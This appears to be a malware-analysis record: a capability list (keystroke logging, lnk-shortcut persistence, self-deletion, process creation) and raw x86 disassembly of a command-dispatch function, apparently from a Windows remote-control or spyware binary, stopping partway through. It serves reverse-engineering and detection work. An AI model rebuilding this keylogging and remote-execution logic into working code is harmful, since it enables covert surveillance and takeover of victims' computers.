Function at 0x4d6fe0
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x14d
push 0
push 0
dec ecx
jne 0x4d6fe8
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4eebb0]
call fcn.00405220
xor eax, eax
push ebp
push 0x4dc91f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x532ef0], 0x805
xor eax, eax
mov al, byte [ebx + 0xc]
mov dword [0x53b170], eax
xor eax, eax
mov al, byte [ebx + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf5
ja case.0x4d7040.10
mov al, byte [eax + 0x4d7047]
jmp dword [eax*4 + 0x4d713d]
mov ebx, dword [ebx + 0x10]
push 0x4dc938
push dword [0x53b364]
push 0x4dc94c
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.004048f4
push 0x4dc938
push dword [0x53b364]
push 0x4dc95c
lea eax, [ebp - 0xe0]
mov edx, 3
call fcn.004048f4
lea eax, [ebp - 0xdc]
call fcn.004d37b0
lea eax, [ebp - 0xe0]
call fcn.004d37b0
cmp ebx, 0xa
jne 0x4d737d
lea edx, [ebp - 0x8c8]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8c8]
mov ecx, dword [0x53b354]
mov edx, dword [0x53b364]
call fcn.0046c0c0
test al, al
je case.0x4d7040.10
mov eax, dword [ebp - 0xdc]
call fcn.004098f0
mov eax, dword [ebp - 0xe0]
call fcn.004098f0
jmp case.0x4d7040.10
cmp ebx, 0xb
jne 0x4d73d4
push 0
mov eax, dword [0x534a7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov edx, 0x4dc96c
call fcn.004d26dc
test eax, eax
jne case.0x4d7040.10
lea edx, [ebp - 0x8cc]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8cc]
mov edx, dword [0x53b364]
call fcn.0046cc88
mov eax, dword [ebp - 0xe0]
call fcn.004098f0
jmp case.0x4d7040.10
cmp ebx, 0xc
jne 0x4d7493
mov edx, dword [0x534a7c]
mov edx, dword [edx]
mov eax, 0x4dc978
call fcn.00404b70
test eax, eax
jne case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
push 0x4dc984
mov eax, dword [0x534a7c]
push dword [eax]
push 0x4dc994
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x8d0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8d4]
mov edx, dword [ebp - 0xe0]
call fcn.00404e38
mov eax, dword [ebp - 0x8d4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046d968
test al, al
je 0x4d7486
lea edx, [ebp - 0x8d8]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8d8]
mov edx, dword [0x53b364]
call fcn.0046cc88
mov eax, dword [ebp - 0xdc]
call fcn.004098f0
mov eax, dword [ebp - 0x24]
call fcn.00403770
jmp case.0x4d7040.10
cmp ebx, 0xd
jne case.0x4d7040.10
lea edx, [ebp - 0x8dc]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8dc]
mov edx, dword [0x53b364]
call fcn.0046cc88
mov eax, dword [ebp - 0xdc]
call fcn.004098f0
mov eax, dword [ebp - 0xe0]
call fcn.004098f0
jmp case.0x4d7040.10
mov eax, 0x53b2cc
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
lea edx, [ebp - 0x8e0]
mov eax, 0x12d
call fcn.004a94e4
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x8e4]
mov ecx, dword [0x53b2cc]
pop edx
call fcn.0046d51c
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
mov eax, dword [0x5334e4]
add eax, 0x4e20
sub eax, 0x7d0
mov dword [0x5334e0], eax
call fcn.004d3a30
jmp case.0x4d7040.10
lea edx, [ebp - 0x8e8]
mov eax, 0x12d
call fcn.004a94e4
mov eax, dword [ebp - 0x8e8]
push eax
lea eax, [ebp - 0x8ec]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x8ec]
xor ecx, ecx
pop edx
call fcn.0046d51c
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
mov eax, dword [0x5334e4]
add eax, 0x4e20
sub eax, 0x7d0
mov dword [0x5334e0], eax
call fcn.004d3a30
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53b455]
jne case.0x4d7040.10
cmp byte [0x533574], 0
jne case.0x4d7040.10
xor eax, eax
push ebp
push 0x4d764d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x533574], 1
cmp byte [0x53b448], 0
je 0x4d761b
mov byte [0x53b461], 0
mov eax, dword [ebx + 0x14]
mov dword [0x53b560], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004d599c
jmp 0x4d7638
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x53b455]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004d5178
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d7040.10
mov byte [0x533574], 0
ret
cmp dword [0x532f38], 0x52503ff
jb case.0x4d7040.10
mov eax, dword [ebx + 0x10]
shr eax, 8
mov byte [0x53b4c4], al
mov eax, 0x53b467
call fcn.0040457c
mov eax, dword [ebx + 0x18]
shr eax, 0x10
mov dword [0x53b2f0], eax
mov eax, dword [ebx + 0x18]
and eax, 0xffff
mov dword [0x53b2f4], eax
jmp case.0x4d7040.10
lea edx, [ebp - 0x58]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0x58]
call fcn.004e2708
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x1c]
mov dword [0x53b34c], eax
mov eax, dword [0x53b34c]
add eax, 0x5b
cmp eax, dword [0x53b3e0]
jae 0x4d76f4
push 0
push 0x3e8
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
call fcn.00405910
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d76f4
cmp eax, 0
je case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b4b0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b4b4], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d7040.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d7040.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d7040.10
call fcn.004d5ba4
jmp case.0x4d7040.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
jmp case.0x4d7040.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
call fcn.004d6314
xor edx, edx
mov eax, 1
call fcn.004d6334
jmp case.0x4d7040.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
mov edx, dword [ebx + 0x10]
xor eax, eax
call fcn.004d28cc
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x53350c], eax
mov eax, dword [ebx + 0x14]
mov dword [0x533508], eax
cmp dword [0x533508], 0
jg case.0x4d7040.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
mov edx, dword [0x53350c]
mov ax, 2
call fcn.004d28cc
jmp case.0x4d7040.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
mov eax, dword [0x534a60]
cmp dword [eax], 2
jne 0x4d7846
mov edx, dword [ebx + 0x10]
mov ax, 8
call fcn.004d28cc
jmp case.0x4d7040.10
mov edx, dword [ebx + 0x10]
mov ax, 1
call fcn.004d28cc
jmp case.0x4d7040.10
cmp byte [0x532f54], 2
je case.0x4d7040.10
cmp byte [0x53b466], 3
jne case.0x4d7040.10
cmp byte [0x53b448], 0
jne case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x53b449]
call fcn.00419600
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8f4]
mov eax, 0xf3
call fcn.004a94e4
mov ecx, dword [ebp - 0x8f4]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x8f0]
call fcn.00404880
mov eax, dword [ebp - 0x8f0]
call fcn.004d6e0c
pop ecx
push ebp
mov eax, dword [0x53b2f8]
call fcn.004d6e0c
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x53b449]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4d7959
cmp dword [ebp - 0x15], 0x55662143
jne 0x4d793d
lea edx, [ebp - 0x34]
mov eax, dword [0x53b449]
call fcn.004ef424
push ebp
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x8f8]
mov ecx, dword [ebp - 0x34]
call fcn.00404880
mov eax, dword [ebp - 0x8f8]
call fcn.004d6e0c
pop ecx
jmp 0x4d78eb
mov ebx, dword [0x53b449]
mov eax, ebx
call fcn.004195e0
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, ebx
call fcn.00419600
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4d79b1
lea edx, [ebp - 0x904]
mov eax, 0xb
call fcn.004a94e4
mov ecx, dword [ebp - 0x904]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x900]
call fcn.00404880
mov edx, dword [ebp - 0x900]
lea eax, [ebp - 0x8fc]
call fcn.00404e38
mov eax, dword [ebp - 0x8fc]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046d968
jmp 0x4d79e5
lea edx, [ebp - 0x90c]
mov eax, 0xb
call fcn.004a94e4
mov ecx, dword [ebp - 0x90c]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x908]
call fcn.00404880
mov eax, dword [ebp - 0x908]
call fcn.004098f0
mov eax, dword [ebp - 0x24]
call fcn.00403770
mov eax, 0x12c
call fcn.004d25dc
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
call fcn.004d6314
xor edx, edx
mov eax, 2
call fcn.004d6334
mov byte [0x532f60], 1
push 5
mov eax, dword [0x534848]
call fcn.00404a84
push eax
mov eax, 0x53b2fc
call fcn.00404a84
push eax
mov eax, 0x53b2f8
call fcn.00404a84
push eax
push 0x4dc998
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d7040.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x34]
call fcn.004d37b0
push 1
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.00404a2c
push eax
push 0x4dc998
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d7040.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0x34]
call fcn.00404834
mov esi, eax
inc esi
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x38]
call fcn.00409ea8
mov eax, dword [ebp - 0x38]
call fcn.00404834
inc eax
add esi, eax
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x3c]
call fcn.00409ea8
lea edx, [ebp - 0x910]
mov eax, 0xf4
call fcn.004a94e4
mov edx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x34]
call fcn.00404978
jne 0x4d7b27
lea eax, [ebp - 0x38]
call fcn.004d37b0
lea eax, [ebp - 0x3c]
call fcn.004d37b0
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097d4
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a2c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a2c
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4d7040.10
lea edx, [ebp - 0x914]
mov eax, 0xf5
call fcn.004a94e4
mov edx, dword [ebp - 0x914]
mov eax, dword [ebp - 0x34]
call fcn.00404978
jne 0x4d7c60
mov eax, dword [ebp - 0x38]
call fcn.00404834
cmp eax, 3
jle case.0x4d7040.10
lea eax, [ebp - 0x38]
call fcn.004d37b0
mov eax, dword [ebp - 0x38]
call fcn.0046d6bc
test al, al
je 0x4d7b8a
mov eax, dword [ebp - 0x38]
call fcn.004eb0a4
mov edx, 2
mov eax, dword [ebp - 0x38]
call fcn.004d31d0
jmp case.0x4d7040.10
mov eax, dword [ebp - 0x38]
call fcn.00462d5c
test al, al
je case.0x4d7040.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e1770
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e19bc
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1f4c
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x38]
call fcn.004045d0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4d7c42
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7c49
mov eax, dword [ebp - 0xd8]
call fcn.00403770
ret
lea edx, [ebp - 0x918]
mov eax, 0xf6
call fcn.004a94e4
mov edx, dword [ebp - 0x918]
mov eax, dword [ebp - 0x34]
call fcn.00404978
jne 0x4d7cbb
lea eax, [ebp - 0x38]
call fcn.004d37b0
lea eax, [ebp - 0x3c]
call fcn.004d37b0
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097d4
push 3
mov eax, dword [ebp - 0x3c]
call fcn.00404a2c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a2c
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x14]
and eax, 1
dec eax
sete byte [0x53b52c]
lea eax, [ebp - 0x3c]
call fcn.004d37b0
cmp dword [ebp - 0x3c], 0
jne 0x4d7ce2
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
call fcn.0046d634
lea eax, [ebp - 0x34]
call fcn.004d37b0
mov eax, 0x53b520
mov edx, dword [ebp - 0x34]
call fcn.004045d0
mov eax, 0x53b524
mov edx, dword [ebp - 0x38]
call fcn.004045d0
mov eax, 0x53b528
mov edx, dword [ebp - 0x3c]
call fcn.004045d0
mov eax, dword [ebx + 0x10]
mov dword [0x53354c], eax
cmp dword [0x53354c], 0
jg case.0x4d7040.10
mov eax, dword [ebp - 0x28]
call fcn.004d67d8
jmp case.0x4d7040.10
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1b0], 0x1c0000
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [ebp - 0x16c], eax
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [ebp - 0x168], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x170], eax
push 1
lea eax, [ebp - 0x1d8]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4d7040.10
call fcn.004d6d18
jmp case.0x4d7040.10
cmp byte [0x532ffc], 1
jb case.0x4d7040.10
mov eax, dword [0x532ef8]
mov dword [0x532f08], eax
mov eax, dword [0x532efc]
mov dword [0x532f0c], eax
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 1
setne dl
xor al, dl
je 0x4d7dfa
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
test byte [ebx + 0x18], 1
setne byte [0x533594]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 2
setne dl
xor al, dl
je 0x4d7e3a
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 4
setne dl
xor al, dl
je 0x4d7e7a
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp esi, 0x14
je case.0x4d7040.10
cmp esi, 0x90
je case.0x4d7040.10
cmp esi, 0x91
je case.0x4d7040.10
mov ebx, esi
mov eax, ebx
and eax, 0xfffffffe
sub eax, 0xa0
je 0x4d7ec3
sub eax, 2
je 0x4d7eb5
sub eax, 2
je 0x4d7ebc
jmp 0x4d7ec8
mov ebx, 0x11
jmp 0x4d7ec8
mov ebx, 0x12
jmp 0x4d7ec8
mov ebx, 0x10
cmp ebx, 0x10
jne 0x4d7ee5
test edi, 0x80000000
je 0x4d7ede
mov byte [0x533598], 0
jmp 0x4d7ee5
mov byte [0x533598], 1
cmp ebx, 0x12
jne 0x4d7f54
test edi, 0x1000000
jne 0x4d7f26
test edi, 0x80000000
je 0x4d7f11
mov al, byte [0x4dc9a0]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
mov al, byte [0x4dc9a0]
or al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
test edi, 0x80000000
je 0x4d7f42
mov al, byte [0x4dc9a4]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
mov al, byte [0x4dc9a4]
or al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
cmp ebx, 0x11
jne 0x4d7fbb
test edi, 0x1000000
jne 0x4d7f8f
test edi, 0x80000000
je 0x4d7f7d
mov al, byte [0x4dc9a8]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
mov al, byte [0x4dc9a8]
or al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
test edi, 0x80000000
je 0x4d7fab
mov al, byte [0x4dc9ac]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d7fbb
mov al, byte [0x4dc9ac]
or al, byte [0x533538]
mov byte [0x533538], al
cmp word [0x53b50c], 0
je 0x4d7fc7
mov esi, ebx
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4d7fd6
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4d7fe5
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4d7ff4
call fcn.004cef74
cmp byte [0x53b2a8], 0
je 0x4d8076
mov al, byte [0x4dc9b0]
cmp al, byte [0x533538]
jne 0x4d8076
cmp esi, 0x41
jl 0x4d8014
cmp esi, 0x5a
jle 0x4d804d
cmp esi, 0x30
jl 0x4d801e
cmp esi, 0x39
jle 0x4d804d
cmp esi, 0x60
jl 0x4d8028
cmp esi, 0x6f
jle 0x4d804d
cmp esi, 0xba
jl 0x4d8038
cmp esi, 0xc0
jle 0x4d804d
cmp esi, 0xdb
jl 0x4d8048
cmp esi, 0xde
jle 0x4d804d
cmp esi, 0x20
jne 0x4d8076
test edi, 0x80000000
jne case.0x4d7040.10
mov edx, edi
mov eax, esi
call fcn.004d6c04
xor edi, 0x80000000
mov edx, edi
mov eax, esi
call fcn.004d6c04
jmp case.0x4d7040.10
mov edx, edi
mov eax, esi
call fcn.004d6c04
jmp case.0x4d7040.10
cmp byte [0x532ffc], 1
jb case.0x4d7040.10
mov eax, dword [0x532ef8]
mov dword [0x532f08], eax
mov eax, dword [0x532efc]
mov dword [0x532f0c], eax
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4d80b8
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4d80c7
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4d80d6
call fcn.004cef74
mov eax, dword [0x534338]
cmp dword [eax], 0
jle 0x4d82c1
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d7040.10
jmp dword [eax*4 + 0x4d80f7]
mov eax, 0x12
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0c8
jmp case.0x4d7040.10
mov eax, 0x12
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0c8
jmp case.0x4d7040.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d7040.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d7040.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d7040.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d7040.10
mov eax, dword [0x53425c]
cmp dword [eax], 0
jle 0x4d8596
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d7040.10
jmp dword [eax*4 + 0x4d82e2]
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x534418]
cmp dword [eax], 0
jle 0x4d8989
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d7040.10
jmp dword [eax*4 + 0x4d85b7]
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
